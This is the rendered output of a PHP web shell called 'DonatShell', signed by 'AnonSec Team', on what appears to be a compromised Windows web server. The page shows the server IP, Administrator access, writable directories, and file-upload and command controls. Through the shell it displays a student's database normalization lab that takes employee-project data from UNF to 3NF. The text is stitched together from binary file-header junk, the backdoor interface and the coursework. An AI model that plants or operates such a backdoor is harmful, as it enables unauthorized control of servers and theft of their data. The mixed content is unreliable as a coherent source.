GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/15880619/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/15880619/Lab08/AdamNunez-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)
employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured
1,           Avram Hinton,  123456789, code; projectName; date; hoursworked, Lucy Merritt, 234567890, No
                                     Chr0944; Dining room table chairs; 2023-02-05; 8
                                     Tbl0944; Dining room table;        2023-02-06; 6
                                     Tbl0944; Dining room table;        2023-02-07; 6
2,          Xerxes Hayes,   345678901, code; projectName; date; hoursworked
                                     Kit0944; Kitchen counters;        2023-02-05; 8
                                     Kit0944; Kitchen counters;        2023-02-06; 8
                                     Tbl0944; Dining room table;       2023-02-07; 4
3,          Kristen Acosta, 456789012, code; projectName; date; hoursworked, Kylee Acosta, 567890123, Yes
                                     Kit0944; Kitchen counters;        2023-02-05; 8
4,          Harper Mcmahon, 567890123, code; projectName; date; hoursworked
                                     Kit0944; Kitchen counters;        2023-02-05; 4
                                     Chr0944; Dining room table chairs; 2023-02-05; 4
                                     Kit0944; Kitchen counters;        2023-02-06; 8

1NF: I have split out project the projectWork field in multiple rows to remove the repeating values. NULL is for unmarried employees.

employeeId*, name,          SSN,       projectCode, projectName,           date,      hoursworked, spouseName, spouseSSN, spouseIsInsured
1,           Avram Hinton,  123456789, Chr0944, Dining room table chairs, 2023-02-05, 8,           Lucy Merritt, 234567890, No
1,           Avram Hinton,  123456789, Tbl0944, Dining room table,        2023-02-06, 6,           Lucy Merritt, 234567890, No
1,           Avram Hinton,  123456789, Tbl0944, Dining room table,        2023-02-07, 6,           Lucy Merritt, 234567890, No
2,           Xerxes Hayes,  345678901, Kit0944, Kitchen counters,         2023-02-05, 8,           NULL, NULL, NULL
2,           Xerxes Hayes,  345678901, Kit0944, Kitchen counters,         2023-02-06, 8,           NULL, NULL, NULL
2,           Xerxes Hayes,  345678901, Tbl0944, Dining room table,        2023-02-07, 4,           NULL, NULL, NULL
3,           Kristen Acosta, 456789012, Kit0944, Kitchen counters,        2023-02-05, 8,           Kylee Acosta, 567890123, Yes
4,           Harper Mcmahon, 567890123, Kit0944, Kitchen counters,        2023-02-05, 4,           NULL, NULL, NULL
4,           Harper Mcmahon, 567890123, Chr0944, Dining room table chairs, 2023-02-05, 4,          NULL, NULL, NULL
4,           Harper Mcmahon, 567890123, Kit0944, Kitchen counters,        2023-02-06, 8,           NULL, NULL, NULL


2NF: I have separated employee data from project work data.
The Employees table contains information about the employee, and ProjectWork contains information about the work done by each employee.

employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured
1,           Avram Hinton, 123456789, Lucy Merritt, 234567890, No
2,           Xerxes Hayes, 345678901, NULL, NULL, NULL
3,           Kristen Acosta, 456789012, Kylee Acosta, 567890123, Yes
4,           Harper Mcmahon, 567890123, NULL, NULL, NULL

employeeId*, projectCode*, projectName, date, hoursworked
1,           Chr0944, Dining room table chairs, 2023-02-05, 8
1,           Tbl0944, Dining room table, 2023-02-06, 6
1,           Tbl0944, Dining room table, 2023-02-07, 6
2,           Kit0944, Kitchen counters, 2023-02-05, 8
2,           Kit0944, Kitchen counters, 2023-02-06, 8
2,           Tbl0944, Dining room table, 2023-02-07, 4
3,           Kit0944, Kitchen counters, 2023-02-05, 8
4,           Kit0944, Kitchen counters, 2023-02-05, 4
4,           Chr0944, Dining room table chairs, 2023-02-05, 4
4,           Kit0944, Kitchen counters, 2023-02-06, 8



3NF:
Employees Table:
employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured
1,           Avram Hinton, 123456789, Lucy Merritt, 234567890, No
2,           Xerxes Hayes, 345678901, NULL, NULL, NULL
3,           Kristen Acosta, 456789012, Kylee Acosta, 567890123, Yes
4,           Harper Mcmahon, 567890123, NULL, NULL, NULL

ProjectWork Table:
employeeId*, projectCode*, projectName, date, hoursworked
1,           Chr0944, Dining room table chairs, 2023-02-05, 8
1,           Tbl0944, Dining room table, 2023-02-06, 6
1,           Tbl0944, Dining room table, 2023-02-07, 6
2,           Kit0944, Kitchen counters, 2023-02-05, 8
2,           Kit0944, Kitchen counters, 2023-02-06, 8
2,           Tbl0944, Dining room table, 2023-02-07, 4
3,           Kit0944, Kitchen counters, 2023-02-05, 8
4,           Kit0944, Kitchen counters, 2023-02-05, 4
4,           Chr0944, Dining room table chairs, 2023-02-05, 4
4,           Kit0944, Kitchen counters, 2023-02-06, 8


All data rows:

All data rows:
Employees Table:
1, Avram Hinton, 123456789, Lucy Merritt, 234567890, No
2, Xerxes Hayes, 345678901, NULL, NULL, NULL
3, Kristen Acosta, 456789012, Kylee Acosta, 567890123, Yes
4, Harper Mcmahon, 567890123, NULL, NULL, NULL

ProjectWork Table:
1, Chr0944, Dining room table chairs, 2023-02-05, 8
1, Tbl0944, Dining room table, 2023-02-06, 6
1, Tbl0944, Dining room table, 2023-02-07, 6
2, Kit0944, Kitchen counters, 2023-02-05, 8
2, Kit0944, Kitchen counters, 2023-02-06, 8
2, Tbl0944, Dining room table, 2023-02-07, 4
3, Kit0944, Kitchen counters, 2023-02-05, 8
4, Kit0944, Kitchen counters, 2023-02-05, 4
4, Chr0944, Dining room table chairs, 2023-02-05, 4
4, Kit0944, Kitchen counters, 2023-02-06, 8

Anon7 - 2022
AnonSec Team